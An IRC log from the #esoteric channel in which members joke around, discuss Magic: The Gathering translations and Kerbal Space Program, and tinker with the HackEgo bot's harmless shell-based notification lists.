08:08:33 <oerjan> shachaf: surely you need 10 periods for a stork, not just 3
08:09:00 <shachaf> uh oh
08:09:05 <shachaf> am i missing one this time
08:11:02 <hppavilion[1]> "When a mommy and a daddy love each other very much and want to have a baby, they have sex. They keep having sex, right in front of the stork, until he gives in and puts in a request for a baby delivery to make them stop. Then, 9 months later due to bureaucratic procedures, a baby is delivered"
08:11:30 <myname> sounds legit
08:12:31 <shachaf> The best I can think of is that a pregnancy lasts about 9 months, but it must be something else.
08:12:50 <shachaf> I mean a human pregnancy.
08:13:18 <hppavilion[1]> shachaf: I think that that was the joke
08:13:37 <hppavilion[1]> shachaf: And a period is slightly less than monthly, so about 10 periods are "lost" when a baby is gestating
08:14:14 <hppavilion[1]> oerjan: Did I get it right?
08:19:41 <oerjan> hppavilion[1]: yep
08:19:53 <hppavilion[1]> YAAAAAAAAAAAAAAAAAAAAAAY
08:20:07 <hppavilion[1]> (Fun fact: YAAAAAAAAAAAAAAAAAAAAAAY is a palindrome)
08:20:16 <oerjan> hooooooooooh
08:20:30 <shachaf> fun fact 0 = 1
08:20:39 <shachaf> | fact n = n * fact (n-1)
08:20:54 <oerjan> `? fun fact
08:21:26 <HackEgo> fun fact 0 = 1 | fact n = n * fact (n - 1)
08:21:28 <oerjan> fun fact: HackEgo is damn slow
08:22:05 <myname> is that supposed to be haskell?
08:22:22 <oerjan> ml
08:22:27 <myname> ah
08:22:34 <shachaf> `culprits wisdom/fun fact
08:22:52 <hppavilion[1]> myname: clearly ml
08:22:57 <HackEgo> oerjan elliott oerjan oerjan oerjan oerjan kmc
08:23:05 <myname> i never did ml
08:23:16 <shachaf> `1 hogue wisdom/fun\ fact
08:23:28 <HackEgo> 1/1:<oerjan> revert \ <elliott> revert 1 \ <oerjan> sed -i \'s/|/ |/\' wisdom/fun\\ fact \ <oerjan> sed -i \'1N; s/\\n *//\' wisdom/fun\\ fact \ <oerjan> revert \ <oerjan> sed -i \'1N; s/ *//\' wisdom/fun\\ fact \ <kmc> printf \'fun fact 0 = 1\\n | fact n = n * fact (n - 1)\\n\' > wisdom/fun\\ fact \
08:23:48 <hppavilion[1]> myname: Neither did I
08:24:03 <hppavilion[1]> fun lie: THE MOON LANDINGS WERE FAKED
08:26:22 <myname> fun fact: i discussed a german translation for "fun fact" with a few people and we decided it to be "ulkiger umstand"
08:26:30 <deltab> USING ALIEN TECHNOLOGY
08:26:47 <izabera> meta fun fact
08:26:49 <int-e> hppavilion[1]: https://www.youtube.com/watch?v=sGXTF6bs1IU
08:26:58 -!- mroman has joined.
08:26:58 <mroman> fnard
08:27:31 <mroman> http://mroman.ch/md/htuqqx12.html
08:27:37 <mroman> 10% pixels is way too much :D
08:29:31 <zzo38> When I use xdpyinfo it says there is 96 visuals, and then lists them, all details seem same for each one except some are TrueColor and some are DirectColor, and one of them has 32 planes while the rest have 24. Do you know what is the purpose of the many visuals?
08:30:15 <shachaf> 96 isn't a very big number compared to, say, 65536.
08:31:45 <int-e> glxinfo may give a clue
08:32:33 <int-e> (though not a complete answer)
08:32:40 * int-e doesn't know the complete answer
08:34:07 <deltab> zzo38: but there are all different somehow?
08:35:48 -!- xkapastel has quit (Quit: Connection closed for inactivity).
08:35:49 <zzo38> deltab: I don't know!
08:37:32 <deltab> my guess is it's just the cartesian product of settings that can now vary independently but couldn't when the api was designed
08:37:42 <shachaf> zzo38: Do you know about antifunctions?
08:40:21 <zzo38> No
08:41:13 <shachaf> An antifunction maps an antiset to an antiset.
08:41:24 <shachaf> An antiset might be a set of memory locations, for instance.
08:42:00 <shachaf> Or labels or something.
08:42:08 <shachaf> So an antifunction : A -> B gives meaning to a set of memory locations B in terms of a set of memory locations A.
08:42:13 <shachaf> It can delete and duplicate elements of A.
08:46:59 <oerjan> int-e: nice link
08:52:00 <hppavilion[1]> Hm, what are the properties of fnord?
08:52:22 <hppavilion[1]> Like, if I say "it is pronounced the same way as phnord", can you still see "phnord"
08:52:32 <hppavilion[1]> Hell, if I put it in a sentence, will the word just be missing?
08:53:45 <hppavilion[1]> And what if I make a list of every word up to a certain length? Will there just be a blank space where "fnord" should be? Will I be able to see it so I can't tell which one I can't see otherwise? Will it get deleted and all the others moved up?
08:53:59 <hppavilion[1]> If the others moved up, couldn't I just infer from which was missing what the word is?
08:58:59 <shachaf> Maybe you should read The Illuminatus! Trilogy.
09:01:34 <hppavilion[1]> ...I just realized that you can put a bucket of lava into a wooden chest in minecraft
09:01:39 <hppavilion[1]> And nothing bad will ever happen
09:18:08 -!- oerjan has quit (Quit: Nite).
09:34:23 -!- Alcest has joined.
09:37:31 <b_jonas> `dateu
09:37:34 <HackEgo> 2016-06-07 08:37:02.395249000+00:00
09:41:14 -!- TellsTogo has quit (Quit: Page closed).
09:50:25 <b_jonas> zzo38: ping
09:51:27 <b_jonas> zzo38: in M:tG, there are German printings of two cards whose German names are identical, despite that their English names differ, and also this German name is identical to the English name of one of those cards. this was news to me. do you know this already? and were you horrified when you found out?
09:51:38 <b_jonas> zzo38: http://magiccards.info/m10/de/202.html http://magiccards.info/10e/de/290.html //magiccards.info/10e/en/290.html
09:58:08 <hppavilion[1]> SPAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACE
09:58:15 <hppavilion[1]> *coughs*
09:58:16 <hppavilion[1]> Excuse me
10:04:51 <shachaf> oerjan: do you know anything about https://en.wikipedia.org/wiki/Homology_(biology)
10:07:04 -!- Phantom_Hoover has joined.
10:08:51 -!- TellsTogo has joined.
11:00:37 -!- hppavilion[1] has quit (Ping timeout: 252 seconds).
11:01:40 -!- Koen_ has joined.
11:18:12 -!- bender__ has joined.
11:20:24 -!- bender has quit (Ping timeout: 258 seconds).
11:39:31 -!- Destructible has joined.
11:39:39 <Destructible> hoi
11:40:35 <Destructible> anybody?
11:41:24 -!- Destructible has quit (Client Quit).
11:41:36 -!- boily has joined.
11:44:12 -!- spiette has joined.
11:44:22 -!- Koen_ has quit (Remote host closed the connection).
11:44:38 <boily> `wisdom
11:46:10 <HackEgo> No output.
11:46:16 <boily> what.
11:46:19 <boily> `wisdom
11:46:33 <HackEgo> grimmargorp//Þór, Grimmargorpurinn hefur sloppið! Ragnarök eru nálæg!
11:48:07 <boily> ah! ^^
11:48:10 <boily> `wisdom
11:48:13 <HackEgo> impomatic//impomatic never did anything weird enough to get into this database.
11:48:14 -!- hppavilion[1] has joined.
11:48:19 <boily> hppavellon[1]!
11:48:26 <hppavilion[1]> One of the weird things on the internet is warnings that don't make sense
11:48:29 <hppavilion[1]> "Also, be advised that we work closely with law enforcement and we report child exploitation."
11:48:56 <hppavilion[1]> That is, "PROTIP: Don't put your child porn here because we'll have to report you to the cops.
11:51:52 -!- J_Arcane has quit (Remote host closed the connection).
11:53:02 <izabera> i read it as "don't put your child porn here because we got into troubles last time"
11:54:23 <hppavilion[1]> izabera: That works too
11:54:48 <hppavilion[1]> izabera: But to me it seems like "Don't put it here because we aren't suited to hide it properly; google will give you some better places"
11:55:28 * izabera googles child porn stash
11:58:23 <hppavilion[1]> izabera: Not even particularly funny.
11:58:57 <izabera> i didn't actually google that
12:00:22 <hppavilion[1]> izabera: Yes, but this is a logged chat
12:00:29 <hppavilion[1]> izabera: Also, I'm an NSA bot
12:00:38 <izabera> hi
12:02:05 <izabera> does nsa even care about that?
12:02:50 <izabera> i don't actually know much of what nsa does other than supposedly spying on people
12:03:25 <izabera> that wouldn't threaten national security so i guess that's not their business
12:05:28 <HackEgo> [wiki] [[Befunge]] https://esolangs.org/w/index.php?diff=47160&oldid=46815 * Sesshomariu * (+76) /* Examples */
12:05:48 <Phantom_Hoover> people did an impressive job of misinterpreting the snowden leaks as "the nsa is personally reading everything you do"
12:06:23 <boily> izabellora. everything can be grounds to threatening national security hth
12:07:09 <hppavilion[1]> boily: Shush, don't give the terrorists ammo you national-security-damaging heathen
12:09:40 <boily> Да здравствует партия!
12:15:53 <hppavilion[1]> "This is one of those things where if someone walks in you switch to porn cause it's easier to explain"
12:19:28 -!- bender__ has changed nick to bender.
12:20:05 <HackEgo> [wiki] [[Befunge]] https://esolangs.org/w/index.php?diff=47161&oldid=47160 * Sesshomariu * (+0) /* Hello, world!(without string reversing) */
12:20:44 -!- spiette has quit (Quit: :qa!).
12:20:49 -!- boily has quit (Quit: REFUTABLE CHICKEN).
12:21:03 -!- spiette has joined.
12:28:33 -!- idris-bot has joined.
12:29:42 -!- Koen_ has joined.
12:30:16 -!- hppavilion[1] has quit (Ping timeout: 252 seconds).
12:35:50 -!- idris-bot has quit (Read error: Connection reset by peer).
12:35:52 -!- Melvar has quit (Read error: Connection reset by peer).
12:37:31 -!- Melvar has joined.
12:52:39 -!- Melvar has quit (Ping timeout: 244 seconds).
12:52:50 -!- Melvar has joined.
12:55:05 -!- spiette has quit (Quit: :qa!).
12:55:13 -!- Koen_ has quit (Read error: Connection reset by peer).
12:55:39 -!- Koen_ has joined.
12:55:55 -!- izabera has quit (Ping timeout: 244 seconds).
12:57:23 -!- izabera has joined.
12:59:40 -!- Koen__ has joined.
13:02:06 -!- Koen_ has quit (Ping timeout: 250 seconds).
13:05:35 -!- vodkode has quit (Quit: Leaving).
13:08:06 -!- bender__ has joined.
13:08:20 -!- bender__ has quit (Changing host).
13:08:20 -!- bender__ has joined.
13:08:32 -!- bender has quit (Disconnected by services).
13:08:36 -!- bender__ has changed nick to bender.
13:09:32 -!- Melvar` has joined.
13:10:20 -!- Melvar has quit (Ping timeout: 250 seconds).
13:10:48 -!- Koen_ has joined.
13:11:26 -!- TellsTogo has quit (Ping timeout: 250 seconds).
13:11:56 -!- Koen_ has quit (Read error: Connection reset by peer).
13:12:23 -!- Koen_ has joined.
13:13:39 -!- Koen__ has quit (Ping timeout: 264 seconds).
13:24:00 -!- izabera has quit (Ping timeout: 260 seconds).
13:44:41 -!- Sgeo_ has quit (Ping timeout: 240 seconds).
13:50:35 -!- izabera has joined.
14:06:29 -!- copumpkin has joined.
14:13:31 * \oren\ googles how send probe Sarnus
14:14:03 -!- J_Arcane has joined.
14:22:39 -!- lambda-11235 has joined.
14:24:28 <Phantom_Hoover> \oren\, put more fuel on the lv-n upper stage?
14:25:07 <Phantom_Hoover> it's been a while since i played ksp but it was never hard to get a few km/s of delta v into low orbit that way
14:35:27 -!- Kaynato has joined.
14:40:33 -!- Kaynato has quit (Ping timeout: 240 seconds).
14:40:45 -!- Kaynato has joined.
14:44:44 -!- TellsTogo has joined.
15:03:06 -!- mroman has quit (Quit: Lost terminal).
15:08:43 -!- J_Arcane has quit (Quit: ChatZilla 0.9.92-rdmsoft [XULRunner 35.0.1/20150122214805]).
15:12:22 <b_jonas> `olist 1039
15:12:35 <HackEgo> olist 1039: shachaf oerjan Sgeo FireFly boily nortti b_jonas
15:14:33 -!- J_Arcane has joined.
15:17:14 <b_jonas> 2 page update
15:21:52 -!- TellsTogo has quit (Ping timeout: 250 seconds).
15:36:20 -!- Melvar` has changed nick to Melvar.
15:44:13 <coppro> can someone please send some utf-8?
15:47:07 <myname>
15:50:04 <prooftechnique> ℃ℬ
15:50:12 <prooftechnique> How about that?
15:53:07 <prooftechnique> ∀∁∃
15:53:26 <prooftechnique>
15:56:28 -!- izabera has changed nick to izbr.
15:56:48 <prooftechnique> Your poor vowels
15:57:55 <myname> H๑พ αв๑บт тнαт?
15:58:11 <myname> ʇɐɥʇ әqʎɐɯ ɹO
16:03:42 <coppro> HQ plus/minus 2QB B = plus/minus B?
16:03:57 <coppro> Pe u with grave q P o y O?
16:05:39 -!- augur has joined.
16:06:23 <b_jonas> coppro: PeùqPoyO or what?
16:09:29 <b_jonas> coppro: √Q±2QB²=±B
16:28:42 -!- spiette has joined.
16:48:14 <HackEgo> [wiki] [[Special:Log/newusers]] create * Qwertyu63 * New user account
16:50:51 -!- augur has quit (Remote host closed the connection).
16:52:17 -!- gamemanj has joined.
16:53:28 -!- bender has quit (Quit: Leaving).
16:54:13 <HackEgo> [wiki] [[User:Qwertyu63]] N https://esolangs.org/w/index.php?oldid=47162 * Qwertyu63 * (+1076) Created page with "This is a WIP project. Simple Lang: Simple Lang is a simple programming language designed to be easy to learn and read but hard to use. Values: There are two types of value i..."
16:54:20 -!- jaboja has joined.
16:55:29 <HackEgo> [wiki] [[User:Qwertyu63]] https://esolangs.org/w/index.php?diff=47163&oldid=47162 * Qwertyu63 * (+54)
16:56:57 <HackEgo> [wiki] [[User:Qwertyu63]] https://esolangs.org/w/index.php?diff=47164&oldid=47163 * Qwertyu63 * (+178)
16:57:53 -!- augur has joined.
16:58:30 <HackEgo> [wiki] [[User:Qwertyu63]] https://esolangs.org/w/index.php?diff=47165&oldid=47164 * Qwertyu63 * (+64)
17:17:24 <\oren\> I'm at the gate.
17:18:28 <\oren\> I am undefeated by your puny UTF-8
17:19:42 <\oren\> But soon I will be without internet, because I am not taking a first-class ticket...
17:21:42 <\oren\> can I survive 12 hours without internet accesss???!?!
17:21:56 <\oren\> find out next time, on DRAGON BALL ZEEEEEE!
17:23:26 <\oren\> Phantom_Hoover: I built a new upper stage with three nuclear engines, and then docked it with a few large fuel tanks
17:23:38 <Phantom_Hoover> for a... probe??
17:25:04 <Phantom_Hoover> getting to jool is <2km/s, getting to sarnus shouldn't be much more
17:26:35 <HackEgo> [wiki] [[Special:Log/newusers]] create * Jinhub * New user account
17:27:36 <\oren\> I plan on having it visit all the moons of Sarnus and perhaps then swing out to Urlum or something, and then maybe even return to Kerbin, or I'll send out a cruiser to rendezvous with it in interplanetary space and collec the science...
17:28:58 <\oren\> Nasa are amateurs. They should start bringing things home from Pluto.
17:30:17 <\oren\> I build all my craft with a lot of extra deltav. My Duna probe ended up visiting Eve as well.
17:31:53 <\oren\> It helps for example that my "LKO shuttle" can land on Minmus and return
17:32:43 <\oren\> don't build to spec, overbuild and then see what it can do!
17:35:52 <\oren\> real space programs can't afford to do that I suppose
17:41:26 <gamemanj> wait, interplanetary space
17:41:29 <gamemanj> they've added that?
17:49:40 <\oren\> Yes of cource you can visit variousplants
17:49:45 <\oren\> *planets
17:50:45 -!- xkapastel has joined.
17:53:40 <HackEgo> [wiki] [[Special:Log/newusers]] create * DigitoriiX * New user account
17:57:25 <\oren\> and i installed some mods that add a bunch of new planets
17:59:33 <coppro> `unicode U+0130
17:59:44 <HackEgo> ​İ
17:59:49 <coppro> urgh
18:00:05 <coppro> my unicode is still borked
18:00:06 <coppro> whyyyy
18:00:25 -!- Sprocklem has quit (Quit: brb).
18:00:44 -!- Sprocklem has joined.
18:01:39 <coppro> oh wait, different terminal emulator
18:01:44 <coppro> maybe that's it. maybe.
18:02:27 <\oren\> Try using PieTTY
18:04:13 -!- DigitoriiX has joined.
18:07:01 -!- AnotherTest has joined.
18:20:09 -!- Phantom__Hoover has joined.
18:20:27 -!- Phantom_Hoover has quit (Ping timeout: 246 seconds).
18:25:49 -!- Phantom_Hoover has joined.
18:28:58 -!- Phantom__Hoover has quit (Ping timeout: 258 seconds).
18:32:17 -!- Koen_ has quit (Remote host closed the connection).
18:38:18 -!- heroux has quit (Ping timeout: 246 seconds).
18:45:17 <coppro> `unicode U+0130
18:45:22 <HackEgo> ​İ
18:45:38 -!- heroux has joined.
18:46:16 <coppro> `unicode U+0130
18:46:19 <HackEgo> ​İ
18:46:48 <coppro> `unicode U+0130
18:46:50 <HackEgo> ​İ
18:46:53 <coppro> blargh
19:04:28 -!- Koen_ has joined.
19:04:29 -!- izbr has changed nick to izabera.
19:10:39 -!- jaboja has quit (Ping timeout: 264 seconds).
19:14:26 -!- AnotherTest has quit (Ping timeout: 250 seconds).
19:32:15 -!- Phantom_Hoover has quit (Ping timeout: 264 seconds).
19:44:06 -!- Phantom_Hoover has joined.
19:52:18 <HackEgo> [wiki] [[Befunge]] https://esolangs.org/w/index.php?diff=47166&oldid=47161 * Sesshomariu * (+176) /* Examples */
19:53:45 <shachaf> b_jonas: how 'bout that olist, huh
19:56:46 <b_jonas> shachaf: what about it?
19:56:55 <shachaf> I asked first.
19:59:28 -!- augur has quit (Remote host closed the connection).
20:00:29 <int-e> 1039 has been olisted if that's the question
20:00:37 <shachaf> Yes, by b_jonas.
20:00:54 <b_jonas> shachaf: Redcloak casts some sort of funny life saving spell on himself that I didn't know
20:01:16 <int-e> oh you're not really talking about the olist
20:01:35 <b_jonas> which is especially funny if you consider that the M:tG spells with the strange translated names are also lifesaving spells
20:01:43 <shachaf> Do they go into one door per day?
20:01:57 <b_jonas> shachaf: no, they just hide, wait, and follow the heros
20:02:06 <b_jonas> like Tarquin did
20:02:17 <shachaf> int-e: You're not even in the olist list.
20:02:53 <int-e> shachaf: hence the misunderstanding... I don't care about the comic
20:03:02 <int-e> so I though "olist" means "olist"
20:03:07 <int-e> thought even
20:03:30 <int-e> and not "latest update to oots"
20:04:15 <shachaf> Well, you're apparently interested in olist updates, even if you're not interested in the underlying comic strip.
20:04:19 <shachaf> `makelist olistlist int-e
20:04:58 <b_jonas> shachaf: hey! are you trying to overwrite bin/olistlist ?
20:05:04 <b_jonas> or does makelist check?
20:05:15 <shachaf> `cat bin/olistlist
20:05:18 <HackEgo> cat: bin/olistlist: No such file or directory
20:05:31 <shachaf> more like nolistlist
20:09:41 <izabera> https://citra-emu.org/ cool
20:12:57 -!- ais523 has joined.
20:18:29 -!- asie has joined.
20:18:32 <asie> hi
20:19:48 <b_jonas> ais523: I found out something about M:tG today and it sort of shocked me. you might already be aware of it
20:20:04 <b_jonas> ais523: there are German printings of two cards whose German names are identical, despite that their English names differ, and also this German name is identical to the English name of one of those cards.
20:20:28 <b_jonas> ais523: http://magiccards.info/10e/de/290.html http://magiccards.info/m10/de/202.html
20:20:32 <ais523> I knew that
20:21:24 <b_jonas> ais523: how common is it? and why are they doing it? is it just a stupid mistake?
20:21:46 <shachaf> How do you tell which card a translated card is?
20:21:47 <ais523> b_jonas: very rare but not unheard of (there are a few similar examples), and mostly it's just by mistake
20:22:01 <shachaf> Does the English name appear somewhere on it?
20:22:15 <int-e> regenerate... regeneration... poor translators!
20:22:16 <ais523> shachaf: that's actually a really interesting point
20:22:29 <ais523> expansion symbol + collector number would be the obvious way to me
20:22:35 <ais523> but I'm not sure it's applicable in 100% of cases
20:22:50 <ais523> art would be another way, and the way that most players use in practice, but that wouldn't work for promo cards
20:23:14 <shachaf> When would it not be applicable?
20:23:48 <shachaf> If I remember correctly, officially the name is the only part of a card that really matters?
20:24:02 <shachaf> People can paint over the rest of it if they want. Or something like that.
20:24:24 <ais523> shachaf: the English name is the only part that officially matters
20:24:52 <ais523> and when altering a card, I believe the rule is that you have to leave the name and mana cost visible, and the art has to depict what the card is about
20:25:18 <ais523> (this is why basic lands are the most commonly altered cards; if you alter a Forest, you just have to draw a forest, and there are a huge number of ways to do that)
20:25:19 <shachaf> But the official art rarely depicts what a card is about.
20:25:45 <ais523> yes, this is why altering is difficult
20:25:48 -!- xkapastel has quit (Quit: Connection closed for inactivity).
20:25:53 <ais523> for cards that depict a story character it isn't too hard
20:26:27 <shachaf> Anyway, if you have cards with identical non-English names, it seems like it would be problematic to alter them.
20:28:15 <b_jonas> ais523: old cards don't have collector numbers, but old cards also don't have translated versions, and I'm not sure how these compare in time
20:28:41 <ais523> very old cards don't have expansion symbols
20:29:02 <shachaf> Hmm, there's a promotional card printed in Hebrew.
20:29:41 <b_jonas> ais523: why it looks strange to me is that Regenerate is from M10, so I'd have thought at that point they were paying attention to these sorts of things
20:29:57 <shachaf> http://www.trollandtoad.com/p123476.html
20:29:58 <shachaf> TG
20:30:05 <ais523> b_jonas: I get the impression that Wizards is severely understaffed
20:30:57 <shachaf> http://magiccards.info/query?q=staff
20:31:01 <shachaf> Only 18 results.
20:31:19 <shachaf> And "Staff of the X Magus" were all terrible.
20:32:18 <shachaf> I don't even understand those cards.
20:32:21 <shachaf> "Wizards.com is down for routine server maintenance."
20:32:23 <ais523> shachaf: those are apparently intentionally bad cards made to appeal to new players
20:32:33 <ais523> they write articles about them on occasion
20:32:46 <shachaf> I think I put one in my early decks.
20:32:51 <b_jonas> shachaf: a promo card in hebrew? wow
20:32:55 <b_jonas> I never heard of that
20:32:59 <ais523> there was a previous cycle with that purpose, "whenever a player casts a red spell you gain 1 life" etc.
20:33:16 <ais523> but it turned out to be fringe playable in very centralized metagames
20:33:24 <ais523> if you were playing red and your opponent was playing a red-based burn deck
20:33:25 <b_jonas> ais523: sure, Kraken's Eye cycle. I have thos
20:33:37 <shachaf> b_jonas: http://www.snazzorama.com/magic/lang/
20:34:26 <b_jonas> shachaf: I think I'm the only player in my group who sometimes plays with foreign language cards, and even I have very few of them
20:34:44 <b_jonas> only about a dozen, and some of them I have already replaced by English ones
20:34:50 <b_jonas> I prefer English cards
20:34:51 <zzo38> Use it if you have a lot of red cards, especially if you are not playing any white cards too
20:34:58 <ais523> in other news, I visited a site with JavaScript turned off
20:35:14 <ais523> and the only thing visible was a link to http://www.whatbrowser.org/ , which I found hilariously passive-agressive
20:35:18 <ais523> *aggressive
20:35:45 <ais523> (turns out there was other text in the page, saying something like "you need a browser that supports JavaScript to view this page", but it was accidentally black on black, presumably they don't test the page with JS off very often)
20:36:05 <ais523> the irony here is that whatbrowser doesn't really work with JavaScript turned off either
20:36:11 <ais523> and thus is a very bad link to use for that purpose
20:36:39 <b_jonas> what the heck is whatbrowser?
20:37:43 <b_jonas> shachaf: wait what? that page seems to tell only how to identify the _language_ of the card from the card. how is that even useful?
20:37:52 <b_jonas> I assumed it was trying to tell how to identify what card it is
20:37:58 <b_jonas> like, the English name of the card
20:38:36 <shachaf> b_jonas: I was confused by the same thing.
20:38:52 <shachaf> b_jonas: But I just linked to it for the list of five one-off cards.
20:39:16 <b_jonas> shachaf: ah!
20:39:16 <ais523> b_jonas: I don't know, I'd never seen it before
20:39:18 <ais523> but I linked it earlier
20:39:47 <b_jonas> "The following five promotional cards are each printed in a language that no other cards are. From left to right, the languages are Hebrew, Arabic, Sanskrit, Classical Greek, and Latin."
20:40:00 <b_jonas> and they're not even Un-promos
20:40:19 <shachaf> Anyway we never used non-English cards.
20:40:29 <shachaf> We only used cards from booster boxes, in fact.
20:40:50 <shachaf> Because we felt like WotC wasn't making nearly enough money, I guess.
20:41:15 <b_jonas> shachaf: aren't there foreign language booster boxes? I mean, I think that's where most foreign language cards come from
20:41:27 <shachaf> Well, yes.
20:42:04 <shachaf> But I suspect that English-speaking players who use non-English cards usually get them individually, not in boxes.
20:42:26 <b_jonas> it's very lucky there are no hungarian language cards. if there were, I'd be flooded with stupid translated cards probably.
20:43:37 <b_jonas> Munchkin has hungarian translation, but luckily it's not a collectible cg
20:43:43 <shachaf> I kind of want to get the Hebrew card.
20:43:59 <shachaf> I guess it's not even Modern-legal.
20:44:08 <shachaf> I could make a Commander deck.
20:44:36 <b_jonas> and munchkin has a card that gets a bonus against creatures whose names start with a letter "J"
20:45:25 <b_jonas> http://magiccards.info/ptc/en/17.html => yep
20:56:31 -!- idris-bot has joined.
21:10:48 -!- ais523 has quit (Read error: Connection reset by peer).
21:58:57 <shachaf> whoa whoa whoa
21:59:03 <shachaf> `smlist kickstarter
21:59:17 <HackEgo> smlist kickstarter: shachaf monqy elliott mnoqy
21:59:43 <shachaf> `smlist 438
21:59:49 <HackEgo> smlist 438: shachaf monqy elliott mnoqy
21:59:50 <shachaf> `smlist 439
21:59:51 <HackEgo> smlist 439: shachaf monqy elliott mnoqy
22:03:20 -!- pikhq has quit (Ping timeout: 250 seconds).
22:08:00 -!- gamemanj has quit (Ping timeout: 276 seconds).
22:10:10 -!- pikhq has joined.
22:26:18 -!- hppavilion[1] has joined.
22:27:11 -!- spiette has quit (Quit: :qa!).
22:33:29 <Phantom_Hoover> shachaf, you're the only person on this list still in the channel
22:33:38 -!- qrf has joined.
22:33:54 <shachaf> Sure.
22:34:06 <b_jonas> Phantom_Hoover: people might be reading under another name or from the logs
22:34:06 <shachaf> But if I keep up the notifications other people might get interested.
22:34:15 <hppavilion[1]> Phantom_Hoover: Which list?
22:34:21 <hppavilion[1]> Phantom_Hoover: There's a list?
22:34:24 <hppavilion[1]> I WANT TO SEE THE LIST
22:34:25 <b_jonas> Phantom_Hoover: I mean, I have some alternate nicknames highlighting me
22:34:28 <b_jonas> hppavilion[1]: smlist
22:34:32 <hppavilion[1]> `smlist
22:34:35 <HackEgo> smlist: shachaf monqy elliott mnoqy
22:34:39 <shachaf> Um.
22:34:41 <b_jonas> hppavilion[1]: HEY! don't do that
22:34:41 <hppavilion[1]> b_jonas: What's smlist?
22:34:47 <b_jonas> hppavilion[1]: `? smlist tells
22:34:48 <shachaf> Don't `anylist if there's no actual update.
22:34:50 <shachaf> That's very rude.
22:34:53 <hppavilion[1]> `? smlist
22:34:54 <Phantom_Hoover> `pbflist
22:34:54 <HackEgo> Non-update notification for the webcomic Super Mega.
22:34:55 <HackEgo> pbflist: shachaf Sgeo quintopia ion b_jonas
22:35:02 <hppavilion[1]> Oh
22:35:11 <hppavilion[1]> shachaf: I didn't know what smlist does
22:35:16 <hppavilion[1]> shachaf: Sorry
22:35:20 <shachaf> Phantom_Hoover: That one's already been listed.
22:35:22 -!- sheldon has joined.
22:35:28 <shachaf> If you mean 275.
22:35:31 <quintopia> lp00^
22:35:36 -!- sheldon has quit (Client Quit).
22:35:37 <Phantom_Hoover> oh well
22:36:02 <quintopia> there is a feature for that now
22:36:05 <quintopia> afaict
22:36:23 <shachaf> `? pbflist
22:36:26 <HackEgo> pbflist is update notification for the Perry Bible Fellowship webcomic. http://pbfcomics.com/
22:36:40 <shachaf> `culprits wisdom/smlist
22:36:50 <quintopia> does putting the number after it prevent it being sent more than once?
22:36:50 <shachaf> Why doesn't it say "smlist is ...", `learn-style?
22:36:56 <HackEgo> int-e
22:37:00 <shachaf> No.
22:37:06 <shachaf> Well, unless people read the logs.
22:37:19 <hppavilion[1]> Where can I find the amazing, god-like software used in http://xkcd.com/1690/?
22:37:25 <quintopia> that seems like a useful feature.
22:37:51 <b_jonas> quintopia: fix it
22:38:03 <quintopia> i suck at the bashes
22:38:07 <shachaf> If you fix it we should talk about how lists work.
22:38:15 <b_jonas> quintopia: `learn
22:38:16 <shachaf> Because really they ought to share code.
22:38:30 <b_jonas> shachaf: well, there's an mklist
22:38:39 <shachaf> Right, but mklist just copies.
22:38:41 <hppavilion[1]> b_jonas: 'an'?
22:38:43 <quintopia> hppavilion[1]: www.rescuetime.com
22:38:56 <shachaf> So you can't retroactively change list code.
22:38:58 <b_jonas> shachaf: oh, you mean they should share code where you give a number and if that number was already listed for that list then it doesn't ping anyone?
22:39:10 <quintopia> or if you want something custom and manual: http://messymatters.com/tagtime/
22:39:18 <shachaf> The point is that the list code should only exist in one place in HackEgo.
22:39:30 <b_jonas> shachaf: ah, you mean good practices like code reuse
22:39:31 <b_jonas> yeah
22:39:45 <hppavilion[1]> quintopia: And how does it detect that I'm e.g. going through all the star wars movies and digitally replacing all of the lightsabres with regular metal swords?
22:39:47 <quintopia> b_jonas: that is what i'd like to have yes
22:39:51 <hppavilion[1]> Is it... is it Strong AI?
22:39:58 <shachaf> So with the current scheme, a list might be something like 'name="$1"; shift; exec runlist "$name" "$@"'
22:40:17 <quintopia> hppavilion[1]: TagTime does that, if you manually enter a tag to track that activity
22:40:27 <b_jonas> shachaf, quintopia: feel free to fix them, but I think it should be "$*" instead of "$1"
22:40:29 <hppavilion[1]> quintopia: Oh, that's boring
22:40:34 <b_jonas> although it probably doesn't matter
22:40:41 <b_jonas> since it's invoked with backtick usually
22:40:54 <b_jonas> only passes one arg
22:41:01 <b_jonas> so scratch that
22:41:10 <b_jonas> "$1" is fine
22:41:44 <shachaf> And then runlist would be something like 'grep -q "$2" share/listarchive/"$1" && exit; echo "$1" > share/listarchive/"$1"; tail -n+2 bin/"$1"'
22:41:56 <shachaf> Of course at that point there's no need to use this ridiculous self-modifying code scheme.
22:42:15 <b_jonas> shachaf: grep -qx probably
22:42:19 <shachaf> You can just have share/list/smlist containing usernames or something.
22:42:22 <hppavilion[1]> shachaf: This is #esoteric, so yes there is.
22:42:25 <shachaf> b_jonas: Look, that's why I said "something like".
22:42:29 <b_jonas> yeah
22:42:39 <shachaf> hppavilion[1]: I wrote that self-modifying thing in the first place.
22:42:56 <quintopia> hppavilion[1]: as you have so astutely noted, anything less manual is AI-hard, and frankly, its existence would be terrifying
22:43:19 <b_jonas> shachaf: and you'd probably have to do something with empty or no argument
22:43:19 <shachaf> b_jonas: Also I mean 'echo "$2" >>', not 'echo "$1" >'
22:43:30 <shachaf> Look, that's why I said "something like".
22:43:35 <b_jonas> I know
22:43:54 <b_jonas> I just wonder what the semantics for that should be
22:43:57 <quintopia> is it wrong for b_jonas to suggest what space "something like" could span?
22:44:05 <shachaf> If you want to revamp lists, you should gopher it.
22:44:45 <quintopia> i don't have talent or a gopher client
22:45:03 <shachaf> Then go for it.
22:45:48 <quintopia> i'll go away from it
22:59:19 <b_jonas> ``` perl -e 'for $l (glob("bin/*list")) { open$i,"<",$l or die; q[echo -n "$(basename "$0")${@:+ }$@: "; tail -n+2 "$0" | xargs; exit]."\n" eq <$i> and print $l,"\n"; }'
22:59:21 <HackEgo> bin/aglist \ bin/bardsworthlist \ bin/ehlist \ bin/emptylist \ bin/erflist \ bin/flist \ bin/ioccccccccclist \ bin/keenlist \ bin/llist \ bin/olist \ bin/pbflist \ bin/slist \ bin/smlist \ bin/wrlist
22:59:36 <b_jonas> ``` perl -e 'for $l (glob("bin/*list")) { open$i,"<",$l or die; q[echo -n "$(basename "$0")${@:+ }$@: "; tail -n+2 "$0" | xargs; exit]."\n" eq <$i> or print $l,"\n"; }'
